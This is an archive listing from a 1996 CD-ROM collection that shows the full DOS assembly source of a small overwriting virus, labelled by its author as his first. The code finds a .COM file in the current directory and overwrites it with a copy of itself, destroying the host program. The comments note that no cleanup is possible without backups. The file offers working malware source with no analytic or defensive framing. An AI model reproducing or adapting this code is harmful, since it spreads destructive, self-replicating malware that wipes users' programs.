home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / pc / A.ZIP / Auvstiny.asm < prev    next >
Encoding:
Assembly Source File  |  1996-03-31  |  1000 b   |  24 lines

  1. ;AuVS.tiny.OVERWRITING.0001
  2.  
  3. ;My 1st VIRUS!!!!!!!!!!!!!!
  4.  
  5. ;This is an extremely simple overwriting, tiny virus, that is easy to 
  6.  
  7. ;detect, but there's not much to do to clean it if you have no backups
  8.  
  9. ;F-PROT detects this as an unknown TRIVIAL variant
  10.  
  11. START:
  12.  
  13.     mov ah,4Eh              ;Find first *.COM file in current dir
  14.  
  15.     lea dx,OFFSET MASK      ;*.COM
  16.  
  17.     xor cx,cx               ;xero out da register
  18.  
  19.     int 21h                 ;find
  20.  
  21.     mov dx,009Eh            ;file handle
  22.  
  23.     mov ax,3D01h            ;open file for writing
  24.  
  25.     int 21h                 ;do it
  26.  
  27.     mov bx,ax               ;put handle in bx
  28.  
  29.     mov ah,40h              ;write to file
  30.  
  31.     mov cx,END - START      ;find size of file even if modified
  32.  
  33.     lea dx,OFFSET START     ;the START
  34.  
  35.     int 21h                 ;WRITE IT, DAMN IT!!
  36.  
  37.     int 20h                 ;END IT ALL
  38.  
  39. Mask            db      '*.COM',0
  40.  
  41. Copyright       db      'Copyright `96, KALiPORNiA'
  42.  
  43. VirusName       db      'AuVS.TINY.OVERWRITING.0001'
  44.  
  45. END:
  46.  
  47.